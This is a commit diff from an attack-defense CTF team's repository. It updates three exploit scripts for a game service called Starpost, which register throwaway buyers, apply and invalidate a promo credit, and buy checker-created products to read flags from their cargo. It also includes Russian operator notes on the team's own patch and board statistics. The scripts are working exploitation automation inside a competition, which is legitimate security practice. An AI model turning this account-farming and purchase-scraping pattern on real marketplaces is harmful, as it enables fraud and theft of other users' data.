Update Starpost exploit promo flow
This commit is contained in:
1 parent
e112480339
commit
29c864990a
4 files changed
+260
-102
No files matched your search
+177
-80
@@ -9,12 +9,16 @@ service secret, warehouse token, or Skipper credential.
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import secrets
|
||||
import signal
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime, timedelta, timezone
|
||||
from email.utils import parsedate_to_datetime
|
||||
from http.cookies import SimpleCookie
|
||||
from ipaddress import ip_address
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
@@ -24,11 +28,23 @@ SERVICE_PORT = 8090
|
||||
RUN_TIMEOUT = 8.5
|
||||
REQUEST_TIMEOUT = 1.2
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
MAX_BUYS = 2
|
||||
MAX_BUY_ATTEMPTS = 3
|
||||
MAX_ATTACK_DATA_RESPONSE = 256 * 1024
|
||||
ATTACK_DATA_URL = os.environ.get(
|
||||
"STARPOST_ATTACK_DATA_URL",
|
||||
"https://board.academy.goctf.online/api/v1/attack_data/%D0%94%D0%9E%D0%9A",
|
||||
)
|
||||
# A/D checker traffic is staggered differently for each team, so a fixed UTC
|
||||
# second is not transferable. All observed checker-like products cost at
|
||||
# least 101 credits. Try the newest suitable product, then at most one from
|
||||
# the previous minute if delivery yields no flag. This is an empirical
|
||||
# heuristic, not a way to identify flag-bearing cargo.
|
||||
MAX_CANDIDATE_AGE = 145
|
||||
MIN_CANDIDATE_PRICE = 101
|
||||
MAX_CANDIDATES = 2
|
||||
MAX_ORDER_POLLS = 5
|
||||
POLL_INTERVAL = 0.3
|
||||
FLAG_PATTERN = re.compile(r"[A-Z0-9]{31}=")
|
||||
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
|
||||
DECIMAL_HINT = re.compile(r"[1-9][0-9]{0,8}\Z")
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
@@ -104,27 +120,100 @@ def scan_flags(value: object) -> set[str]:
|
||||
return set(FLAG_PATTERN.findall(value)) if isinstance(value, str) else set()
|
||||
|
||||
|
||||
def candidates(products: object) -> list[tuple[int, int]]:
|
||||
def numeric_hints(payload: object, target_host: str) -> set[int]:
|
||||
"""Accept only exact per-IP positive decimal product IDs; ignore mixed hints."""
|
||||
try:
|
||||
target_ip = str(ip_address(target_host))
|
||||
except ValueError:
|
||||
return set()
|
||||
if not isinstance(payload, dict):
|
||||
raise ValueError("attack_data root is not an object")
|
||||
values = payload.get(target_ip)
|
||||
if values is None:
|
||||
return set()
|
||||
if not isinstance(values, list) or len(values) > 32:
|
||||
raise ValueError("attack_data target hints are invalid")
|
||||
return {int(value) for value in values if isinstance(value, str) and DECIMAL_HINT.fullmatch(value)}
|
||||
|
||||
|
||||
def fetch_attack_hints(target_host: str, deadline: float) -> set[int] | None:
|
||||
"""Read the public Skipper endpoint once; None means use catalog fallback."""
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
return None
|
||||
req = Request(ATTACK_DATA_URL, headers={"Accept": "application/json", "User-Agent": "neo-starpost-market/1.1"})
|
||||
try:
|
||||
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||
if response.status != 200:
|
||||
return None
|
||||
raw = response.read(MAX_ATTACK_DATA_RESPONSE + 1)
|
||||
if len(raw) > MAX_ATTACK_DATA_RESPONSE:
|
||||
return None
|
||||
return numeric_hints(json.loads(raw), target_host)
|
||||
except (HTTPError, URLError, OSError, TimeoutError, ValueError, UnicodeDecodeError, json.JSONDecodeError):
|
||||
return None
|
||||
|
||||
|
||||
def parse_created_at(raw: object) -> datetime | None:
|
||||
if not isinstance(raw, str):
|
||||
return None
|
||||
try:
|
||||
created = datetime.fromisoformat(raw.replace("Z", "+00:00"))
|
||||
except ValueError:
|
||||
try:
|
||||
created = parsedate_to_datetime(raw)
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
return created.astimezone(timezone.utc) if created.tzinfo else None
|
||||
|
||||
|
||||
def candidates(products: object, now: datetime | None = None, hint_ids: set[int] | None = None) -> list[tuple[int, int]]:
|
||||
if not isinstance(products, list):
|
||||
raise ValueError("products response is not a list")
|
||||
found = []
|
||||
now = now or datetime.now(timezone.utc)
|
||||
if now.tzinfo is None:
|
||||
raise ValueError("now must have a timezone")
|
||||
found: list[tuple[datetime, int, int]] = []
|
||||
seen = set()
|
||||
have_hints = bool(hint_ids)
|
||||
for product in products:
|
||||
if not isinstance(product, dict):
|
||||
continue
|
||||
product_id, price = product.get("id"), product.get("price")
|
||||
created = parse_created_at(product.get("created_at"))
|
||||
valid_id = isinstance(product_id, int) and not isinstance(product_id, bool) and product_id > 0
|
||||
selected_by_hint = valid_id and have_hints and product_id in hint_ids
|
||||
selected_by_catalog = (not have_hints and created is not None
|
||||
and -5 <= (now - created).total_seconds() <= MAX_CANDIDATE_AGE)
|
||||
if (
|
||||
isinstance(product_id, int)
|
||||
and not isinstance(product_id, bool)
|
||||
and product_id > 0
|
||||
valid_id
|
||||
and isinstance(price, int)
|
||||
and not isinstance(price, bool)
|
||||
and 0 < price <= 200
|
||||
and MIN_CANDIDATE_PRICE <= price <= 200
|
||||
and product_id not in seen
|
||||
and created is not None
|
||||
and (selected_by_hint or selected_by_catalog)
|
||||
):
|
||||
found.append((product_id, price))
|
||||
found.append((created, product_id, price))
|
||||
seen.add(product_id)
|
||||
return found
|
||||
found.sort(reverse=True)
|
||||
if not found:
|
||||
return []
|
||||
if hint_ids:
|
||||
return [(product_id, price) for _, product_id, price in found[:MAX_CANDIDATES]]
|
||||
newest_minute = found[0][0].replace(second=0, microsecond=0)
|
||||
previous_minute = newest_minute - timedelta(minutes=1)
|
||||
selected: list[tuple[int, int]] = []
|
||||
used_minutes: set[datetime] = set()
|
||||
for created, product_id, price in found:
|
||||
minute = created.replace(second=0, microsecond=0)
|
||||
if minute not in {newest_minute, previous_minute} or minute in used_minutes:
|
||||
continue
|
||||
selected.append((product_id, price))
|
||||
used_minutes.add(minute)
|
||||
if len(selected) >= MAX_CANDIDATES:
|
||||
break
|
||||
return selected
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
@@ -134,55 +223,68 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
status, products, _ = request_json(target, "/api/products", deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"catalog returned HTTP {status}")
|
||||
available = candidates(products)
|
||||
hint_ids = fetch_attack_hints(urlsplit(target).hostname or "", deadline)
|
||||
available = candidates(products, hint_ids=hint_ids)
|
||||
if not available:
|
||||
return [], 0, 0
|
||||
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
user = account.get("user")
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
raise ValueError("buyer promo missing")
|
||||
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
|
||||
raise ValueError("buyer balance missing")
|
||||
budget = user["balance"]
|
||||
|
||||
status, credit, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo["code"]},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(credit, dict):
|
||||
raise ValueError(f"promo credit returned HTTP {status}")
|
||||
credited = credit.get("credited")
|
||||
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
|
||||
raise ValueError("invalid credited amount")
|
||||
budget += credited
|
||||
|
||||
bought_ids: set[int] = set()
|
||||
buy_attempts = 0
|
||||
flags: set[str] = set()
|
||||
bought_count = 0
|
||||
polls = 0
|
||||
for product_id, price in available:
|
||||
if len(bought_ids) >= MAX_BUYS or buy_attempts >= MAX_BUY_ATTEMPTS or time.monotonic() >= deadline:
|
||||
if time.monotonic() >= deadline:
|
||||
break
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
user = account.get("user")
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
raise ValueError("buyer promo missing")
|
||||
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
|
||||
raise ValueError("buyer balance missing")
|
||||
budget = user["balance"]
|
||||
|
||||
status, credit, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo["code"]},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(credit, dict):
|
||||
raise ValueError(f"promo credit returned HTTP {status}")
|
||||
credited = credit.get("credited")
|
||||
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
|
||||
raise ValueError("invalid credited amount")
|
||||
budget += credited
|
||||
|
||||
# Current Starpost checker uses credit -> invalidate -> purchase.
|
||||
# Buying while a promo_codes row still exists now returns HTTP 409.
|
||||
status, invalidation, _ = request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo["code"]},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
|
||||
raise ValueError(f"promo invalidation returned HTTP {status}")
|
||||
if price > budget:
|
||||
continue
|
||||
buy_attempts += 1
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
@@ -194,34 +296,29 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
if status != 201 or not isinstance(order, dict):
|
||||
continue
|
||||
order_id = order.get("id")
|
||||
if isinstance(order_id, int) and not isinstance(order_id, bool) and order_id > 0:
|
||||
bought_ids.add(order_id)
|
||||
budget -= price
|
||||
|
||||
flags: set[str] = set()
|
||||
polls = 0
|
||||
for poll in range(MAX_ORDER_POLLS):
|
||||
if not bought_ids or time.monotonic() >= deadline:
|
||||
if not isinstance(order_id, int) or isinstance(order_id, bool) or order_id <= 0:
|
||||
continue
|
||||
bought_count += 1
|
||||
for poll in range(MAX_ORDER_POLLS):
|
||||
if time.monotonic() >= deadline:
|
||||
break
|
||||
if poll:
|
||||
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
|
||||
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
||||
polls += 1
|
||||
if status != 200 or not isinstance(orders, list):
|
||||
break
|
||||
delivered_order = next(
|
||||
(item for item in orders if isinstance(item, dict) and item.get("id") == order_id
|
||||
and item.get("status") == "delivered"),
|
||||
None,
|
||||
)
|
||||
if delivered_order is not None:
|
||||
flags.update(scan_flags(delivered_order.get("cargo")))
|
||||
break
|
||||
if flags:
|
||||
break
|
||||
if poll:
|
||||
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
|
||||
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
||||
polls += 1
|
||||
if status != 200 or not isinstance(orders, list):
|
||||
break
|
||||
delivered = set()
|
||||
for order in orders:
|
||||
if not isinstance(order, dict):
|
||||
continue
|
||||
order_id = order.get("id")
|
||||
if not isinstance(order_id, int) or order_id not in bought_ids:
|
||||
continue
|
||||
if order.get("status") == "delivered":
|
||||
delivered.add(order_id)
|
||||
flags.update(scan_flags(order.get("cargo")))
|
||||
if delivered == bought_ids:
|
||||
break
|
||||
return sorted(flags), len(bought_ids), polls
|
||||
return sorted(flags), bought_count, polls
|
||||
|
||||
|
||||
def main() -> int:
|
||||
|
||||
@@ -162,6 +162,16 @@ def obtain_credit(target: str, cookie: str, deadline: float) -> None:
|
||||
)
|
||||
if status != 200:
|
||||
raise ValueError(f"promo endpoint returned HTTP {status}")
|
||||
status, _, _, _ = get_json(
|
||||
target,
|
||||
"POST",
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
payload={"code": code},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200:
|
||||
raise ValueError(f"promo invalidation returned HTTP {status}")
|
||||
|
||||
|
||||
def buy_product(target: str, product_id: int, cookie: str, deadline: float) -> int:
|
||||
|
||||
@@ -4,7 +4,6 @@ from __future__ import annotations
|
||||
|
||||
import concurrent.futures
|
||||
import json
|
||||
import math
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
@@ -20,7 +19,6 @@ REQUEST_TIMEOUT = 1.5
|
||||
TOTAL_TIMEOUT = 8.5
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
MAX_PRODUCTS = 5
|
||||
MAX_CREDITS = 24
|
||||
MAX_WORKERS = 8
|
||||
GET_RETRIES = 1
|
||||
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||
@@ -117,6 +115,13 @@ def credit(base: str, cookie: str, code: str, deadline: float) -> bool:
|
||||
return status == 200
|
||||
|
||||
|
||||
def invalidate(base: str, cookie: str, code: str, deadline: float) -> bool:
|
||||
status, _, _ = request(
|
||||
base, "/api/promo/invalidate", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline
|
||||
)
|
||||
return status == 200
|
||||
|
||||
|
||||
def add_to_cart(base: str, cookie: str, product_id: int, deadline: float) -> bool:
|
||||
status, _, _ = request(
|
||||
base,
|
||||
@@ -176,7 +181,7 @@ def run_exploit(target: str) -> str:
|
||||
products = json.loads(raw)
|
||||
selected = []
|
||||
total = 0
|
||||
budget = 100 + MAX_CREDITS * 100
|
||||
budget = 200
|
||||
for product in products if isinstance(products, list) else []:
|
||||
try:
|
||||
product_id = int(product["id"])
|
||||
@@ -192,11 +197,10 @@ def run_exploit(target: str) -> str:
|
||||
if not selected:
|
||||
return ""
|
||||
|
||||
required_credits = max(0, math.ceil((total - 100) / 100))
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"], deadline), range(required_credits)))
|
||||
if credited != required_credits:
|
||||
raise ValueError("promo crediting was incomplete")
|
||||
if not credit(base, cookie, promo["code"], deadline):
|
||||
raise ValueError("promo crediting failed")
|
||||
if not invalidate(base, cookie, promo["code"], deadline):
|
||||
raise ValueError("promo invalidation failed")
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
added = sum(pool.map(lambda product_id: add_to_cart(base, cookie, product_id, deadline), selected))
|
||||
@@ -210,7 +214,7 @@ def run_exploit(target: str) -> str:
|
||||
if status != 200:
|
||||
raise ValueError(f"orders endpoint returned HTTP {status}")
|
||||
print(
|
||||
f"credited {credited} times, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
|
||||
f"credited once, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
candidates = list(dict.fromkeys(FLAG_PATTERN.findall(raw)))
|
||||
|
||||
@@ -4,11 +4,11 @@
|
||||
|
||||
Публичный каталог показывает ID и цену товара. Новый buyer получает 100 кредитов
|
||||
при регистрации и ещё 100 при однократном применении своего promo. Товары,
|
||||
созданные checker с флагом в `cargo`, на нашем экземпляре стоили 102–175.
|
||||
созданные checker с флагом в `cargo`, на нашем экземпляре стоили 102–180.
|
||||
Покупатель оплачивает товар через `POST /api/products/{id}/buy` или корзину,
|
||||
warehouse доставляет заказ, после чего `GET /api/orders` возвращает `cargo`.
|
||||
|
||||
На снимке игровой БД были 12 товаров с флагоподобным `cargo` и 91 доставленный
|
||||
На первом снимке игровой БД были 12 товаров с флагоподобным `cargo` и 91 доставленный
|
||||
заказ от 91 buyer. Счётчики растут, это не точное число похищенных или
|
||||
зачтённых флагов. Старые пути через неподписанный курсор отзывов, чужой договор
|
||||
и поддельный warehouse callback текущая версия отклоняет. Runtime session key
|
||||
@@ -23,11 +23,15 @@ warehouse доставляет заказ, после чего `GET /api/orders`
|
||||
Позднее checker читает старые заказы, договоры и отзывы. В 62 наблюдённых
|
||||
сценариях первая покупка произошла через 0,232–0,563 с после создания товара.
|
||||
Buyer создаётся без cookie seller; связывать их по одной сессии нельзя.
|
||||
В 421 запросе с checker-подобным User-Agent общий `GET /api/products` не
|
||||
встречался, а прямой `GET /api/products/{id}` встречался 26 раз. Это вывод из
|
||||
access log, а не исходный код официального checker.
|
||||
|
||||
## Решение по выкладке
|
||||
## Риск ограничения по первому заказу
|
||||
|
||||
**Не выкладывать ограничение `cargo` по первому покупателю, времени покупки,
|
||||
User-Agent, IP или виду флага.** Первый покупатель может оказаться соперником,
|
||||
Первоначальный независимый review не рекомендовал ограничение `cargo` по
|
||||
первому покупателю, времени покупки, User-Agent, IP или виду флага.
|
||||
Первый покупатель может оказаться соперником,
|
||||
что лишит checker возможности прочитать свой флаг и даст `CORRUPT`/`MUMBLE`.
|
||||
Проверка времени основана лишь на текущей скорости checker и лишает
|
||||
оплативших поздних покупателей груза. User-Agent подделывается, а маршрутизатор
|
||||
@@ -37,8 +41,9 @@ User-Agent, IP или виду флага.** Первый покупатель
|
||||
Изолированный Flask/PostgreSQL прогон проверил маршруты seller/product,
|
||||
contract, promo, прямую покупку и checkout, warehouse delivery, orders,
|
||||
private review и чтение старого заказа после перезапуска приложения. Он
|
||||
**не заменяет официальный checker**. Рассмотренный cargo-патч был отвергнут
|
||||
независимым review и не попал в Git.
|
||||
**не заменяет официальный checker**. Рассмотренный локальный cargo-патч был
|
||||
отвергнут независимым review; затем отдельный коммит `ecd6d555` реализовал
|
||||
ограничение по первому заказу и был развёрнут на своей vulnbox.
|
||||
|
||||
Для настоящего исправления нужен предусмотренный протоколом способ указать
|
||||
получателя товара при создании или иное право, которое checker может передать
|
||||
@@ -48,7 +53,7 @@ private review и чтение старого заказа после перез
|
||||
## Экстренное ограничение выдачи cargo
|
||||
|
||||
После подтверждённой продолжающейся кражи `GET /api/orders` изменён так, чтобы
|
||||
`cargo` возвращался только самому раннему доставленному заказу конкретного
|
||||
`cargo` возвращался доставленному заказу с минимальным `order.id` конкретного
|
||||
товара. Повторные покупатели сохраняют заказ и его статус, но получают
|
||||
`cargo=null`. Изменение не затрагивает регистрацию, promo, покупку, warehouse,
|
||||
отзывы и чтение первого старого заказа. Оно не требует миграции базы.
|
||||
@@ -58,13 +63,55 @@ private review и чтение старого заказа после перез
|
||||
`cargo`. После выкладки обязательно следить за `CORRUPT`/`MUMBLE`; при регрессии
|
||||
откатить этот коммит и пересобрать только `api`.
|
||||
|
||||
На своей vulnbox API с этим кодом запущен с 08:57:03 UTC. Публичная борда
|
||||
показала `UP` для Дока в завершённых раундах 58–64; показатель `lost` не рос
|
||||
с раунда 59 и на снимке раунда 65 равнялся 25. Это наблюдение за текущей
|
||||
нагрузкой, а не доказательство отсутствия гонки. Ранее единичный `DOWN`
|
||||
в раунде 51 совпал с пересозданием контейнеров; порт `8090:80` и прокси к
|
||||
API сохранились, `nginx -t` прошёл. Рабочую копию vulnbox с изменёнными
|
||||
`compose.yml` и `nginx.conf` нельзя обновлять обычным `git pull` поверх правок.
|
||||
|
||||
В `main` вошёл `f09895d`: покупка и checkout требуют
|
||||
`POST /api/promo/invalidate` после начисления promo. Наблюдаемый checker
|
||||
выполняет `credit → invalidate → buy/checkout`; на 09:06:20 UTC gate ещё не
|
||||
был развёрнут на нашей vulnbox. Публичные статусы `UP` в раундах 60–74 не
|
||||
позволяют определить версию работающего API, поэтому текущую версию и
|
||||
совместимость checker с ней нужно подтвердить локальными runtime-логами.
|
||||
Все три покупательских скрипта обновлены для последовательности
|
||||
`credit → invalidate → buy/checkout`; это изменение не затрагивает запущенный
|
||||
сервис.
|
||||
|
||||
## Эксплойт и дальнейшая проверка
|
||||
|
||||
`sploits/starpost_market.py` воспроизводит штатную покупку с одной активацией
|
||||
promo и ограниченным числом запросов. Он проверен на синтетическом HTTP-сервисе:
|
||||
регистрация, покупка, отложенная доставка, поиск флага, ограничение времени,
|
||||
stdout/stderr и запрет перехода по redirect. На чужих командах и в Neo этот
|
||||
скрипт ещё не запускался; `accepted` в Skipper не подтверждён.
|
||||
`sploits/starpost_market.py` читает публичный Skipper `attack_data` для Дока,
|
||||
выбирает до двух числовых ID товаров конкретной цели и воспроизводит покупку
|
||||
отдельными buyer с однократным promo. На своей БД 3/3 числовых подсказки
|
||||
совпали с товарами, 2/3 имели флагоподобный cargo; подсказка не гарантирует
|
||||
флаг. При отсутствии подсказок скрипт ограниченно выбирает свежие товары
|
||||
ценой от 101 кредита. После начисления promo скрипт также вызывает
|
||||
`promo/invalidate`. Предел одного запуска — две покупки, до 22 HTTP
|
||||
запросов и 8,5 с. Семь синтетических проверок прошли, включая последовательность
|
||||
«первый товар без флага, второй с флагом» и stdout только с флагом.
|
||||
|
||||
Также `sploits/starpost_signup.py` и `sploits/starpost_warehouse.py` теперь
|
||||
гасят promo до покупки и checkout. Вместе их проверяют восемь loopback
|
||||
сценариев отказа и успеха, включая проверку, что stdout содержит только флаг.
|
||||
Все три скрипта прошли `py_compile` и `git diff --check`; это локальные
|
||||
синтетические проверки, а не подтверждение запуска в Neo или зачёта Skipper.
|
||||
|
||||
Один контролируемый прогон на команде 3 получил флаг, но Skipper ответил
|
||||
`Flag already stolen`; прогон на команде 2 купил два товара без флага.
|
||||
Значения флагов не сохранены. `accepted` и работа из Neo пока не подтверждены;
|
||||
текущая доступная установка не содержит работающих Neo/Farm контейнеров или
|
||||
учётных данных. Не объявлять этот exploit зачтённым, пока не появятся
|
||||
`neo test` на разрешённой цели и персональный ответ Skipper. После патча на
|
||||
своей команде ожидается, что поздний покупатель получит `cargo=null`.
|
||||
|
||||
На снимке раунда 73 (12:12:53 МСК) Док был `UP`, проверки 70/72,
|
||||
`stolen=328`, `lost=25`; на раунде 69 значения были `320/25`. Потери не
|
||||
выросли за эти четыре раунда. Это подтверждает текущий статус и стабильность
|
||||
счётчика `lost`, но не устраняет известный риск, что первый покупатель может
|
||||
забрать cargo до checker.
|
||||
|
||||
Перед любым следующим патчем сохранить состояние томов и текущий commit,
|
||||
прогнать оба способа покупки и GET-old, затем после выкладки проверить статус
|
||||
|
||||
Reference in new issue
Block a user